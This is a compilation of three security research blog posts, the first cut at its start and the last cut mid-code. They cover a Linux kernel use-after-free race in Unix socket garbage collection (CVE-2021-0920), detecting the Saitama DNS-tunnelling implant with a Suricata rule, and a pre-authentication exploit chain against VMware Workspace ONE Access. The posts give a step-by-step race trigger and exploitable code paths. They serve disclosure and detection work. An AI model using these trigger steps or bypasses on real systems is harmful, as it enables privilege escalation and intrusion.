 void unix_notinflight(struct user_struct *user, struct file *fp) {         struct sock *s = unix_get_socket(fp);         spin_lock(&unix_gc_lock);         if (s) {                 struct unix_sock *u = unix_sk(s);                 BUG_ON(!atomic_long_read(&u->inflight));                 BUG_ON(list_empty(&u->link));                 if (atomic_long_dec_and_test(&u->inflight))                         list_del_init(&u->link);                 unix_tot_inflight--;         }         user->unix_inflight--;         spin_unlock(&unix_gc_lock); }

Later skb_unlink and consume_skb are invoked from unix_stream_read_generic (af_unix.c#2451) to destroy the current skb. Following the call chain kfree(skb)->__kfree_skb, the kernel will invoke the function pointer skb->destructor (code) which redirects to unix_destruct_scm:

 static void unix_destruct_scm(struct sk_buff *skb) {         struct scm_cookie scm;         memset(&scm, 0, sizeof(scm));         scm.pid  = UNIXCB(skb).pid;         if (UNIXCB(skb).fp)                 unix_detach_fds(&scm, skb);         /* Alas, it calls VFS */         /* So fscking what? fput() had been SMP-safe since the last Summer */         scm_destroy(&scm);         sock_wfree(skb); }

In fact, the unix_detach_fds will not be invoked again here from unix_destruct_scm because UNIXCB(skb).fp is already cleared by unix_detach_fds. Finally, fd_install(new_fd, get_file(fp[i])) from scm_detach_fds is invoked for installing a new file descriptor.

## recvmsg with MSG_PEEK flag

The recvmsg process is different if the MSG_PEEK flag is set. The MSG_PEEK flag is used during receive to “peek” at the message, but the data is treated as unread. unix_stream_read_generic will invoke scm_fp_dup instead of unix_detach_fds. This increases the reference count of the inflight file (af_unix.c#2149):

 /* It is questionable, see note in unix_dgram_recvmsg.  */ if (UNIXCB(skb).fp)         scm.fp = scm_fp_dup(UNIXCB(skb).fp); sk_peek_offset_fwd(sk, chunk); if (UNIXCB(skb).fp)         break;

Because the data should be treated as unread, the skb is not unlinked and consumed when the MSG_PEEK flag is set. However, the receiver will still get a new file descriptor for the inflight socket.

## recvmsg Examples

Let’s see a concrete example. Assume there are the following socket pairs:

• f 00, f 01
• f 10, f 11

Now, the program does the following operations:

• f 00 → [f 00] → f 01 (means f 00 sends [f 00] to f 01)
• f 10 → [f 00] → f 11
• Close(f 00)

Breakable cycle by f 00, f 01, f 10 and f 11

Here is the status:

• inflight(f 00) = 2, ref(f 00) = 2
• inflight(f 01) = 0, ref(f 01) = 1
• inflight(f 10) = 0, ref(f 10) = 1
• inflight(f 11) = 0, ref(f 11) = 1

If the garbage collection process happens now, before any recvmsg calls, the kernel will choose f 00 as the garbage candidate. However, f 00 will not have the inflight count altered and the kernel will not purge any garbage.

If f 01 then calls recvmsg with MSG_PEEK flag, the receive queue doesn’t change and the inflight counts are not decremented. f 01 gets a new file descriptor f 00' which increments the reference count on f 00:

MSG_PEEK increment the reference count of f 00 while the receive queue is not cleared

Status:

• inflight(f 00) = 2, ref(f 00) = 3
• inflight(f 01) = 0, ref(f 01) = 1
• inflight(f 10) = 0, ref(f 10) = 1
• inflight(f 11) = 0, ref(f 11) = 1

Then, f 01 calls recvmsg without MSG_PEEK flag, f 01’s receive queue is removed. f 01 also fetches a new file descriptor f 00'':

The receive queue of f 01 is cleared and f 01'' is obtained from f 01

Status:

• inflight(f 00) = 1, ref(f 00) = 3
• inflight(f 01) = 0, ref(f 01) = 1
• inflight(f 10) = 0, ref(f 10) = 1
• inflight(f 11) = 0, ref(f 11) = 1

## UAF Scenario

From a very high level perspective, the internal state of Linux garbage collection can be non-deterministic because MSG_PEEK is not synchronized with the garbage collector. There is a race condition where the garbage collector can treat an inflight socket as a garbage candidate while the file reference is incremented at the same time during the MSG_PEEK receive. As a consequence, the garbage collector may purge the candidate, freeing the socket buffer, while a receiver may install the file descriptor, leading to a UAF on the skb object.

Let’s see how the captured 0-day sample triggers the bug step by step (simplified version, in reality you may need more threads working together, but it should demonstrate the core idea). First of all, the sample allocates the following socket pairs and single socket 𝛼:

• f 00, f 01
• f 10, f 11
• f 20, f 21
• f 30, f 31
• sock 𝛼 (actually there might be even thousands of 𝛼 for protracting the garbage collection process in order to evade a BUG_ON check which will be introduced later).

Now, the program does the below operations:

Close the following file descriptors prior to any recvmsg calls:

• Close(f 00)
• Close(f 01)
• Close(f 11)
• Close(f 10)
• Close(f 30)
• Close(f 31)
• Close(𝛼)

Here is the status:

• inflight(f 00) = N + 1, ref(f 00) = N + 1
• inflight(f 01) = 2, ref(f 01) = 2
• inflight(f 10) = 3, ref(f 10) = 3
• inflight(f 11) = 1, ref(f 11) = 1
• inflight(f 20) = 0, ref(f 20) = 1
• inflight(f 21) = 0, ref(f 21) = 1
• inflight(f 31) = 1, ref(f 31) = 1
• inflight(𝛼) = 1, ref(𝛼) = 1

If the garbage collection process happens now, the kernel will do the following scrutiny:

• List f 00, f 01, f 10,  f 11, f 31, 𝛼 as garbage candidates. Decrease inflight count for the candidate children in each receive queue.
• Since f 21 is not considered a candidate, f 11’s inflight count is still above zero.
• Recursively restore the inflight count.
• Nothing is considered garbage.

A potential skb UAF by race condition can be triggered by:

1. Call recvmsg with MSG_PEEK flag from f 21 to get f 11’.
2. Call recvmsg with MSG_PEEK flag from f 11 to get f 10’.
3. Concurrently do the following operations:
1. Call recvmsg without MSG_PEEK flag from f 11 to get f 10’’.
2. Call recvmsg with MSG_PEEK flag from f 10

How is it possible? Let’s see a case where the race condition is not hit so there is no UAF:

 Thread 0 Thread 1 Thread 2 Call unix_gc Stage0: List f 00, f 01, f 10,  f 11, f 31, 𝛼 as garbage candidates. Call recvmsg with MSG_PEEK flag from f 21 to get f 11’ Increase reference count: scm.fp = scm_fp_dup(UNIXCB(skb).fp); Stage0: decrease inflight count from the child of every garbage candidate Status after stage 0: inflight(f 00) = 0 inflight(f 01) = 0 inflight(f 10) = 0 inflight(f 11) = 1 inflight(f 31) = 0 inflight(𝛼) = 0 Stage1: Recursively restore inflight count if a candidate still has inflight count. Stage1: All inflight counts have been restored. Stage2: No garbage, return. Call recvmsg with MSG_PEEK flag from f 11 to get f 10’ Call recvmsg without MSG_PEEK flag from f 11 to get f 10’’ Call recvmsg with MSG_PEEK flag from f 10’ Everyone is happy Everyone is happy Everyone is happy

However, if the second recvmsg occurs just after stage 1 of the garbage collection process, the UAF is triggered:

 Thread 0 Thread 1 Thread 2 Call unix_gc Stage0: List f 00, f 01, f 10,  f 11, f 31, 𝛼 as garbage candidates. Call recvmsg with MSG_PEEK flag from f 21 to get f 11’ Increase reference count: scm.fp = scm_fp_dup(UNIXCB(skb).fp); Stage0: decrease inflight count from the child of every garbage candidates Status after stage 0: inflight(f 00) = 0 inflight(f 01) = 0 inflight(f 10) = 0 inflight(f 11) = 1 inflight(f 31) = 0 inflight(𝛼) = 0 Stage1: Start restoring inflight count. Call recvmsg with MSG_PEEK flag from f 11 to get f 10’ Call recvmsg without MSG_PEEK flag from f 11 to get f 10’’ unix_detach_fds: UNIXCB(skb).fp = NULL Blocked by spin_lock(&unix_gc_lock) Stage1: scan_inflight cannot find candidate children from f 11. Thus, the inflight count accidentally remains the same. Stage2: f 00, f 01, f 10, f 31, 𝛼 are garbage. Stage2: start purging garbage. Start calling recvmsg with MSG_PEEK flag from f 10’, which would expect to receive f 00' Get skb = skb_peek(&sk->sk_receive_queue), skb is going to be freed by thread 0. Stage2: for, calls __skb_unlink and kfree_skb later. state->recv_actor(skb, skip, chunk, state) UAF GC finished. Start garbage collection. Get f 10’’

Therefore, the race condition causes a UAF of the skb object. At first glance, we should blame the second recvmsg syscall because it clears skb.fp, the passed file list. However, if the first recvmsg syscall doesn’t set the MSG_PEEK flag, the UAF can be avoided because unix_notinflight is serialized with the garbage collection. In other words, the kernel makes sure the garbage collection is either not processed or finished before decrementing the inflight count and removing the skb. After unix_notinflight, the receiver obtains f11' and inflight sockets don't form an unbreakable cycle.

Since MSG_PEEK is not serialized with the garbage collection, when recvmsg is called with MSG_PEEK set, the kernel still considers f 11 as a garbage candidate. For this reason, the following next recvmsg will eventually trigger the bug due to the inconsistent state of the garbage collection process.

# Patch Analysis

## CVE-2021-0920 was found in 2016

The vulnerability was initially reported to the Linux kernel community in 2016. The researcher also provided the correct patch advice but it was not accepted by the Linux kernel community:

Patch was not applied in 2016

In theory, anyone who saw this patch might come up with an exploit against the faulty garbage collector.

## Patch in 2021

Let’s check the official patch for CVE-2021-0920. For the MSG_PEEK branch, it requests the garbage collection lock unix_gc_lock before performing sensitive actions and immediately releases it afterwards:

 … +       spin_lock(&unix_gc_lock); +       spin_unlock(&unix_gc_lock); …

The patch is confusing - it’s rare to see such lock usage in software development. Regardless, the MSG_PEEK flag now waits for the completion of the garbage collector, so the UAF issue is resolved.

Andrey Ulanov from Google in 2017 found another issue in unix_gc and provided a fix commit. Additionally, the patch added a BUG_ON for the inflight count:

 void unix_notinflight(struct user_struct *user, struct file *fp)         if (s) {                 struct unix_sock *u = unix_sk(s);   +               BUG_ON(!atomic_long_read(&u->inflight));                 BUG_ON(list_empty(&u->link));                   if (atomic_long_dec_and_test(&u->inflight))

At first glance, it seems that the BUG_ON can prevent CVE-2021-0920 from being exploitable. However, if the exploit code can delay garbage collection by crafting a large amount of fake garbage,  it can waive the BUG_ON check by heap spray.

## New Garbage CollectionDiscovered in 2021

CVE-2021-4083 deserves an honorable mention: when I discussed CVE-2021-0920 with Jann Horn and Ben Hawkes, Jann found another issue in the garbage collection, described in the Project Zero blog post Racing against the clock -- hitting a tiny kernel race window.

\

# Part I Conclusion

To recap, we have discussed the kernel internals of SCM_RIGHTS and the designs and implementations of the Linux kernel garbage collector. Besides, we have analyzed the behavior of MSG_PEEK flag with the recvmsg syscall and how it leads to a kernel UAF by a subtle and arcane race condition.

The bug was spotted in 2016 publicly, but unfortunately the Linux kernel community did not accept the patch at that time. Any threat actors who saw the public email thread may have a chance to develop an LPE exploit against the Linux kernel.

In part two, we'll look at how the vulnerability was exploited and the functionalities of the post compromise modules.

# Detecting DNS implants: Old kitten, new tricks – A Saitama Case Study

11 August 2022 at 15:20

Max Groot & Ruud van Luijk

TL;DR

A recently uncovered malware sample dubbed ‘Saitama’ was uncovered by security firm Malwarebytes in a weaponized document, possibly targeted towards the Jordan government. This Saitama implant uses DNS as its sole Command and Control channel and utilizes long sleep times and (sub)domain randomization to evade detection. As no server-side implementation was available for this implant, our detection engineers had very little to go on to verify whether their detection would trigger on such a communication channel. This blog documents the development of a Saitama server-side implementation, as well as several approaches taken by Fox-IT / NCC Group’s Research and Intelligence Fusion Team (RIFT) to be able to detect DNS-tunnelling implants such as Saitama.

Introduction

For its Managed Detection and Response (MDR) offering, Fox-IT is continuously building and testing detection coverage for the latest threats. Such detection efforts vary across all tactics, techniques, and procedures (TTP’s) of adversaries, an important one being Command and Control (C2). Detection of Command and Control involves catching attackers based on the communication between the implants on victim machines and the adversary infrastructure.

In May 2022, security firm Malwarebytes published a two1-part2 blog about a malware sample that utilizes DNS as its sole channel for C2 communication. This sample, dubbed ‘Saitama’, sets up a C2 channel that tries to be stealthy using randomization and long sleep times. These features make the traffic difficult to detect even though the implant does not use DNS-over-HTTPS (DoH) to encrypt its DNS queries.

Although DNS tunnelling remains a relatively rare technique for C2 communication, it should not be ignored completely. While focusing on Indicators of Compromise (IOC’s) can be useful for retroactive hunting, robust detection in real-time is preferable. To assess and tune existing coverage, a more detailed understanding of the inner workings of the implant is required. This blog will use the Saitama implant to illustrate how malicious DNS tunnels can be set-up in a variety of ways, and how this variety affects the detection engineering process.

To assist defensive researchers, this blogpost comes with the publication of a server-side implementation of Saitama. This can be used to control the implant in a lab environment. Moreover, ‘on the wire’ recordings of the implant that were generated using said implementation are also shared as PCAP and Zeek logs. This blog also details multiple approaches towards detecting the implant’s traffic, using a Suricata signature and behavioural detection.

Reconstructing the Saitama traffic

The behaviour of the Saitama implant from the perspective of the victim machine has already been documented elsewhere3. However, to generate a full recording of the implant’s behaviour, a C2 server is necessary that properly controls and instructs the implant. Of course, the source code of the C2 server used by the actual developer of the implant is not available.

If you aim to detect the malware in real-time, detection efforts should focus on the way traffic is generated by the implant, rather than the specific domains that the traffic is sent to. We strongly believe in the “PCAP or it didn’t happen” philosophy. Thus, instead of relying on assumptions while building detection, we built the server-side component of Saitama to be able to generate a PCAP.

The server-side implementation of Saitama can be found on the Fox-IT GitHub page. Be aware that this implementation is a Proof-of-Concept. We do not intend on fully weaponizing the implant “for the greater good”, and have thus provided resources to the point where we believe detection engineers and blue teamers have everything they need to assess their defences against the techniques used by Saitama.

Let’s do the twist

The usage of DNS as the channel for C2 communication has a few upsides and quite some major downsides from an attacker’s perspective. While it is true that in many environments DNS is relatively unrestricted, the protocol itself is not designed to transfer large volumes of data. Moreover, the caching of DNS queries forces the implant to make sure that every DNS query sent is unique, to guarantee the DNS query reaches the C2 server.

For this, the Saitama implant relies on continuously shuffling the character set used to construct DNS queries. While this shuffle makes it near-impossible for two consecutive DNS queries to be the same, it does require the server and client to be perfectly in sync for them to both shuffle their character sets in the same way.

On startup, the Saitama implant generates a random number between 0 and 46655 and assigns this to a counter variable. Using a shared secret key (“haruto” for the variant discussed here) and a shared initial character set (“razupgnv2w01eos4t38h7yqidxmkljc6b9f5”), the client encodes this counter and sends it over DNS to the C2 server. This counter is then used as the seed for a Pseudo-Random Number Generator (PRNG). Saitama uses the Mersenne Twister to generate a pseudo-random number upon every ‘twist’.

To encode this counter, the implant relies on a function named ‘_IntToString’. This function receives an integer and a ‘base string’, which for the first DNS query is the same initial, shared character set as identified in the previous paragraph. Until the input number is equal or lower than zero, the function uses the input number to choose a character from the base string and prepends that to the variable ‘str’ which will be returned as the function output. At the end of each loop iteration, the input number is divided by the length of the baseString parameter, thus bringing the value down.

To determine the initial seed, the server has to ‘invert’ this function to convert the encoded string back into its original number. However, information gets lost during the client-side conversion because this conversion rounds down without any decimals. The server tries to invert this conversion by using simple multiplication. Therefore, the server might calculate a number that does not equal the seed sent by the client and thus must verify whether the inversion function calculated the correct seed. If this is not the case, the server literately tries higher numbers until the correct seed is found.

Once this hurdle is taken, the rest of the server-side implementation is trivial. The client appends its current counter value to every DNS query sent to the server. This counter is used as the seed for the PRNG. This PRNG is used to shuffle the initial character set into a new one, which is then used to encode the data that the client sends to the server. Thus, when both server and client use the same seed (the counter variable) to generate random numbers for the shuffling of the character set, they both arrive at the exact same character set. This allows the server and implant to communicate in the same ‘language’. The server then simply substitutes the characters from the shuffled alphabet back into the ‘base’ alphabet to derive what data was sent by the client.

Twist, Sleep, Send, Repeat

Many C2 frameworks allow attackers to manually set the minimum and maximum sleep times for their implants. While low sleep times allow attackers to more quickly execute commands and receive outputs, higher sleep times generate less noise in the victim network. Detection often relies on thresholds, where suspicious behaviour will only trigger an alert when it happens multiple times in a certain period.

The Saitama implant uses hardcoded sleep values. During active communication (such as when it returns command output back to the server), the minimum sleep time is 40 seconds while the maximum sleep time is 80 seconds. On every DNS query sent, the client will pick a random value between 40 and 80 seconds. Moreover, the DNS query is not sent to the same domain every time but is distributed across three domains. On every request, one of these domains is randomly chosen. The implant has no functionality to alter these sleep times at runtime, nor does it possess an option to ‘skip’ the sleeping step altogether.

These sleep times and distribution of communication hinder detection efforts, as they allow the implant to further ‘blend in’ with legitimate network traffic. While the traffic itself appears anything but benign to the trained eye, the sleep times and distribution bury the ‘needle’ that is this implant’s traffic very deep in the haystack of the overall network traffic.

For attackers, choosing values for the sleep time is a balancing act between keeping the implant stealthy while keeping it usable. Considering Saitama’s sleep times and keeping in mind that every individual DNS query only transmits 15 bytes of output data, the usability of the implant is quite low. Although the implant can compress its output using zlib deflation, communication between server and client still takes a lot of time. For example, the standard output of the ‘whoami /priv’ command, which once zlib deflated is 663 bytes, takes more than an hour to transmit from victim machine to a C2 server.

The implant does contain a set of hardcoded commands that can be triggered using only one command code, rather than sending the command in its entirety from the server to the client. However, there is no way of knowing whether these hardcoded commands are even used by attackers or are left in the implant as a means of misdirection to hinder attribution. Moreover, the output from these hardcoded commands still has to be sent back to the C2 server, with the same delays as any other sent command.

Detection

Detecting DNS tunnelling has been the subject of research for a long time, as this technique can be implemented in a multitude of different ways. In addition, the complications of the communication channel force attackers to make more noise, as they must send a lot of data over a channel that is not designed for that purpose. While ‘idle’ implants can be hard to detect due to little communication occurring over the wire, any DNS implant will have to make more noise once it starts receiving commands and sending command outputs. These communication ‘bursts’ is where DNS tunnelling can most reliably be detected. In this section we give examples of how to detect Saitama and a few well-known tools used by actual adversaries.

Signature-based

Where possible we aim to write signature-based detection, as this provides a solid base and quick tool attribution. The randomization used by the Saitama implant as outlined previously makes signature-based detection challenging in this case, but not impossible. When actively communicating command output, the Saitama implant generates a high number of randomized DNS queries. This randomization does follow a specific pattern that we believe can be generalized in the following Suricata rule:

alert dns $HOME_NET any -> any 53 (msg:"FOX-SRT - Trojan - Possible Saitama Exfil Pattern Observed"; flow:stateless; content:"|00 01 00 00 00 00 00 00|"; byte_test:1,>=,0x1c,0,relative; fast_pattern; byte_test:1,<=,0x1f,0,relative; dns_query; content:"."; content:"."; distance:1; content:!"."; distance:1; pcre:"/^(?=[0-9]+[a-z]\|[a-z]+[0-9])[a-z0-9]{28,31}\.[^.]+\.[a-z]+$/"; threshold:type both, track by_src, count 50, seconds 3600; classtype:trojan-activity; priority:2; reference:url, https://github.com/fox-it/saitama-server; metadata:ids suricata; sid:21004170; rev:1;)

This signature may seem a bit complex, but if we dissect this into separate parts it is intuitive given the previous parts.

The choice for 28-31 characters is based on the structure of DNS queries containing output. First, one byte is dedicated to the ‘send and receive’ command code. Then follows the encoded ID of the implant, which can take between 1 and 3 bytes. Then, 2 bytes are dedicated to the byte index of the output data. Followed by 20 bytes of base-32 encoded output. Lastly the current value for the ‘counter’ variable will be sent. As this number can range between 0 and 46656, this takes between 1 and 5 bytes.

Behaviour-based

The randomization that makes it difficult to create signatures is also to the defender’s advantage: most benign DNS queries are far from random. As seen in the table below, each hack tool outlined has at least one subdomain that has an encrypted or encoded part. While initially one might opt for measuring entropy to approximate randomness, said technique is less reliable when the input string is short. The usage of N-grams, an approach we have previously written about4, is better suited.

Unfortunately, the detection of randomness in DNS queries is by itself not a solid enough indicator to detect DNS tunnels without yielding large numbers of false positives. However, a second limitation of DNS tunnelling is that a DNS query can only carry a limited number of bytes. To be an effective C2 channel an attacker needs to be able to send multiple commands and receive corresponding output, resulting in (slow) bursts of multiple queries.

This is where the second step for behaviour-based detection comes in: plainly counting the number of unique queries that have been classified as ‘randomized’. The specifics of these bursts differ slightly between tools, but in general, there is no or little idle time between two queries. Saitama is an exception in this case. It uses a uniformly distributed sleep between 40 and 80 seconds between two queries, meaning that on average there is a one-minute delay. This expected sleep of 60 seconds is an intuitive start to determine the threshold. If we aggregate over an hour, we expect 60 queries distributed over 3 domains. However, this is the mean value and in 50% of the cases there are less than 60 queries in an hour.

To be sure we detect this, regardless of random sleeps, we can use the fact that the sum of uniform random observations approximates a normal distribution. With this distribution we can calculate the number of queries that result in an acceptable probability. Looking at the distribution, that would be 53. We use 50 in our signature and other rules to incorporate possible packet loss and other unexpected factors. Note that this number varies between tools and is therefore not a set-in-stone threshold. Different thresholds for different tools may be used to balance False Positives and False Negatives.

In summary, combining detection for random-appearing DNS queries with a minimum threshold of random-like DNS queries per hour, can be a useful approach for the detection of DNS tunnelling. We found in our testing that there can still be some false positives, for example caused by antivirus solutions. Therefore, a last step is creating a small allow list for domains that have been verified to be benign.

While more sophisticated detection methods may be available, we believe this method is still powerful (at least powerful enough to catch this malware) and more importantly, easy to use on different platforms such as Network Sensors or SIEMs and on diverse types of logs.

Conclusion

When new malware arises, it is paramount to verify existing detection efforts to ensure they properly trigger on the newly encountered threat. While Indicators of Compromise can be used to retroactively hunt for possible infections, we prefer the detection of threats in (near-)real-time. This blog has outlined how we developed a server-side implementation of the implant to create a proper recording of the implant’s behaviour. This can subsequently be used for detection engineering purposes.

Strong randomization, such as observed in the Saitama implant, significantly hinders signature-based detection. We detect the threat by detecting its evasive method, in this case randomization. Legitimate DNS traffic rarely consists of random-appearing subdomains, and to see this occurring in large bursts to previously unseen domains is even more unlikely to be benign.

Resources

With the sharing of the server-side implementation and recordings of Saitama traffic, we hope that others can test their defensive solutions.

The server-side implementation of Saitama can be found on the Fox-IT GitHub.

This repository also contains an example PCAP & Zeek logs of traffic generated by the Saitama implant. The repository also features a replay script that can be used to parse executed commands & command output out of a PCAP.

References

# IAM Whoever I Say IAM :: Infiltrating VMWare Workspace ONE Access Using a 0-Click Exploit

11 August 2022 at 14:00

On March 2nd, I reported several security vulnerabilities to VMWare impacting their Identity Access Management (IAM) solution. In this blog post I will discuss some of the vulnerabilities I found, the motivation behind finding such vulnerabilities and how companies can protect themselves. The result of the research project concludes with a pre-authenticated remote root exploit chain nicknamed Hekate. The advisories and patches for these vulnerabilities can be found in the references section.

## Introduction

Single Sign On (SSO) has become the dominant authentication scheme to login to several related, yet independent, software systems. At the core of this are the identity providers (IdP). Their role is to perform credential verification and to supply a signed token containing assertions that a service providers (SP) can consume for access control. This is implemented using a protocol called Security Assertion Markup Language (SAML).

On the other hand, when an application requests resources on behalf of a user and they’re granted, then an authorization request is made to an authorization server (AS). The AS exchanges a code for a token which is presented to a resource server (RS) and the requested resources are consumed by the requesting application. This is known as Open Authorization (OAuth), the auth here is standing for authorization and not authentication.

Whilst OAuth2 handles authorization (identity), and SAML handles authentication (access) a solution is needed to manage both since an organizations network perimeter can get very wide and complex. Therefore, a market for Identity and Access Management (IAM) solutions have become very popular in the enterprise environment to handle both use cases at scale.

## Motivation

This project was motivated by a high impact vulnerabilities affecting similar software products, let’s take a look in no particular order:

1. Cisco Identity Services Engine

This product was pwned by Pedro Ribeiro and Dominik Czarnota using a pre-authenticated stored XSS vulnerability leading to full remote root access chaining an additional two vulnerabilities.

2. ForgeRock OpenAM

This product was pwned by Michael Stepankin using a pre-authenticated deserialization of untrusted data vulnerability in a 3rd party library called jato. Michael had to get creative here by using a custom Java gadget chain to exploit the vulnerability.

3. Oracle Access Manager (OAM)

Peter Json and Jang blogged about a pre-authenticated deserialization of untrusted data vulnerability impacting older versions of OAM.

4. VMWare Workspace ONE Access

Two high impact vulnerabilities were discovered here. The first being CVE-2020-4006 which was exploited in the wild (ITW) by state sponsored attackers which excited my interest initially. The details of this bug was first revealed by William Vu and essentially boiled down to a post-authenticated command injection vulnerability. The fact that this bug was post-authenticated and yet was still exploited in the wild (ITW) likely means that this software product is of high interest to attackers.

The second vulnerability was discovered by Shubham Shah of Assetnote which was a SSRF that could have been used by malicious attackers to leak the users JSON Web Token (JWT) via the Authorization header.

With most of this knowledge before I even started, I knew that vulnerabilities discovered in a system like this would have a high impact. So, at the time I asked myself: does a pre-authenticated remote code execution vulnerability/chain exist in this code base?

## Version

The vulnerable version at the time of testing was 21.08.0.1 which was the latest and deployed using the identity-manager-21.08.0.1-19010796_OVF10.ova (SHA1: 69e9fb988522c92e98d2910cc106ba4348d61851) file. It was released on the 9th of December 2021 according to the release notes. This was a Photon OS Linux deployment designed for the cloud.

## Challenges

I had several challenges and I think it’s important to document them so that others are not discouraged when performing similar audits.

1. Heavy use of Spring libraries

This software product heavily relied on several spring components and as such didn’t leave room for many errors in relation to authentication. Interceptors played a huge role in the authentication process and were found to not contain any logic vulnerabilities in this case.

Additionally, With Spring’s StrictHttpFirewall enabled, several attacks to bypass the authentication using well known filter bypass attacks failed.

2. Minimal attack surface

There was very little pre-authenticated attack surface that exposed functionality of the application outside of authentication protocols like SAML and OAuth 2.0 (including OpenID Connect) which minimizes the chance of discovering a pre-authenticated remote code execution vulnerability.

3. Code quality

The code quality of this product was very good. Having audited many Java applications in the past, I took notice that this product was written with security in mind and the overall layout of libraries, syntax used, spelling of code was a good reflection of that. In the end, I only found two remote code execution vulnerabilities and they were in a very similar component.

Let’s move on to discussing the vulnerabilities in depth.

## OAuth2TokenResourceController Access Control Service (ACS) Authentication Bypass Vulnerability

The com.vmware.horizon.rest.controller.oauth2.OAuth2TokenResourceController class has two exposed endpoints. The first will generate an activation code for an existing oauth2 client:

/*     */   @RequestMapping(value = {"/generateActivationToken/{id}"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @ApiOperation(value = "Generate and update activation token for an existing oauth2 client", response = OAuth2ActivationTokenMedia.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Generation failed, unknown error."), @ApiResponse(code = 400, message = "Generation failed, client is invalid or not specified.")})
/*     */   public OAuth2ActivationTokenMedia generateActivationToken(@ApiParam(value = "OAuth 2.0 Client identifier", example = "\"my-auth-grant-client1\"", required = true) @PathVariable("id") String clientId, HttpServletRequest request) throws MyOneLoginException {
/* 128 */     OrganizationRuntime orgRuntime = getOrgRuntime(request);
/* 129 */     OAuth2Client client = this.oAuth2ClientService.getOAuth2Client(orgRuntime.getOrganizationId().intValue(), clientId);
/* 130 */     if (client == null || client.getIdUser() == null) {
/* 131 */       throw new BadRequestException("invalid.client", new Object[0]);
/*     */     }


The second will activate the device OAuth2 client by exchanging the activation code for a client ID and client secret:

/*     */   @RequestMapping(value = {"/activate"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @ApiOperation(value = "Activate the device client by exchanging an activation code for a client ID and client secret.", notes = "This endpoint is used in the dynamic mobile registration flow. The activation code is obtained by calling the /SAAS/auth/device/register endpoint. The client_secret and client_id returned in this call will be used in the call to the /SAAS/auth/oauthtoken endpoint.", response = OAuth2ClientActivationDetails.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Activation failed, unknown error."), @ApiResponse(code = 404, message = "Activation failed, organization not found."), @ApiResponse(code = 400, message = "Activation failed, activation code is invalid or not specified.")})
/*     */   public OAuth2ClientActivationDetails activateOauth2Client(@ApiParam(value = "the activation code", required = true) @RequestBody String activationCode, HttpServletRequest request) throws MyOneLoginException {
/* 102 */     OrganizationRuntime organizationRuntime = getOrgRuntime(request);
/*     */     try {
/* 104 */       return this.activationTokenService.activateAndGetOAuth2Client(organizationRuntime.getOrganization(), activationCode);
/* 105 */     } catch (EncryptionException e) {
/* 106 */       throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/* 107 */     } catch (MyOneLoginException e) {
/*     */
/* 109 */       if (e.getCode() == 80480 || e.getCode() == 80476 || e.getCode() == 80440 || e.getCode() == 80558) {
/* 110 */         throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/*     */       }
/* 112 */       throw e;
/*     */     }
/*     */   }


This is enough for an attacker to then exchange the client_id and client_secret for an OAuth2 token to achieve a complete authentication bypass. Now, this wouldn’t have been so easily exploitable if no default OAuth2 clients were present, but as it turns out. There are two internal clients installed by default:

We can verify this when we check the database on the system:

These clients are created in several locations, one of them is in the com.vmware.horizon.rest.controller.system.BootstrapController class. I won’t bore you will the full stack trace, but it essentially leads to a call to createTenant in the com.vmware.horizon.components.authentication.OAuth2RemoteAccessServiceImpl class:

/*     */   public boolean createTenant(int orgId, String tenantId) {
/*     */     try {
/* 335 */       createDefaultServiceOAuth2Client(orgId); // 1
/* 336 */     } catch (Exception e) {
/* 337 */       log.warn("Failed to create the default service oauth2 client for org " + tenantId, e);
/* 338 */       return false;
/*     */     }
/* 340 */     return true;
/*     */   }


At [1] the code calls createDefaultServiceOAuth2Client:

/*     */   @Nonnull
/*     */   public OAuth2Client createDefaultServiceOAuth2Client(int orgId) throws MyOneLoginException {
/* 116 */     OAuth2Client oAuth2Client = this.oauth2ClientService.getOAuth2Client(orgId, "Service__OAuth2Client");
/* 117 */     if (oAuth2Client == null) {
/* 118 */       Organizations firstOrg = this.organizationService.getFirstOrganization();
/* 119 */       if (firstOrg.getId().intValue() == orgId) {
/* 120 */         log.info("Creating service_oauth2 client for root tenant.");
/* 121 */         return createSystemScopedServiceOAuth2Client(firstOrg, "Service__OAuth2Client", null, "admin system"); // 2
/*     */       }
/*     */     //...
/* 131 */     return oAuth2Client;
/*     */   }


The code at [2] calls createSystemScopedServiceOAuth2Client which, as the name suggests creates a system scoped oauth2 client using the clientId “Service__OAuth2Client”. I actually found another authentication bypass documented as SRC-2022-0007 using variant analysis, however it impacts only the cloud environment due to the on-premise version not loading the authz Spring profile by default.

## DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution Vulnerability

The com.vmware.horizon.rest.controller.system.DBConnectionCheckController class exposes a method called dbCheck

/*     */   @RequestMapping(method = {RequestMethod.POST}, produces = {"application/json"})
/*     */   @ProtectedApi(resource = "vrn:tnts:*", actions = {"tnts:read"})
/*     */   @ResponseBody
/*     */   public RESTResponse dbCheck(@RequestParam(value = "jdbcUrl", required = true) String jdbcUrl, @RequestParam(value = "dbUsername", required = true) String dbUsername, @RequestParam(value = "dbPassword", required = true) String dbPassword) throws MyOneLoginException {
/*     */     String driverVersion;
/*     */     try {
/*  76 */       if (this.organizationService.countOrganizations() > 0L) { // 1
/*  77 */         assureAuthenticatedApiAdmin(); // 2
/*     */       }
/*  79 */     } catch (Exception e) {
/*  80 */       log.info("Check for existing organization threw an exception.", driverVersion);
/*     */     }
/*     */
/*     */     try {
/*  84 */       String encryptedPwd = configEncrypter.encrypt(dbPassword);
/*  85 */       driverVersion = this.dbConnectionCheckService.checkConnection(jdbcUrl, dbUsername, encryptedPwd); // 3
/*  86 */     } catch (PersistenceRuntimeException e) {
/*  87 */       throw new MyOneLoginException(HttpStatus.NOT_ACCEPTABLE.value(), e.getMessage(), e);
/*     */     }
/*  89 */     return new RESTResponse(Boolean.valueOf(true), Integer.valueOf(HttpStatus.OK.value()), driverVersion, null);
/*     */   }


At [1] the code checks to see if there are any existing organizations (there will be if it’s set-up correctly) and at [2] the code validates that an admin is requesting the endpoint. At [3] the code calls DbConnectionCheckServiceImpl.checkConnection using the attacker controlled jdbcUrl.

/*  73 */   public String checkConnection(String jdbcUrl, String username, String password) throws PersistenceRuntimeException { return checkConnection(jdbcUrl, username, password, true); }
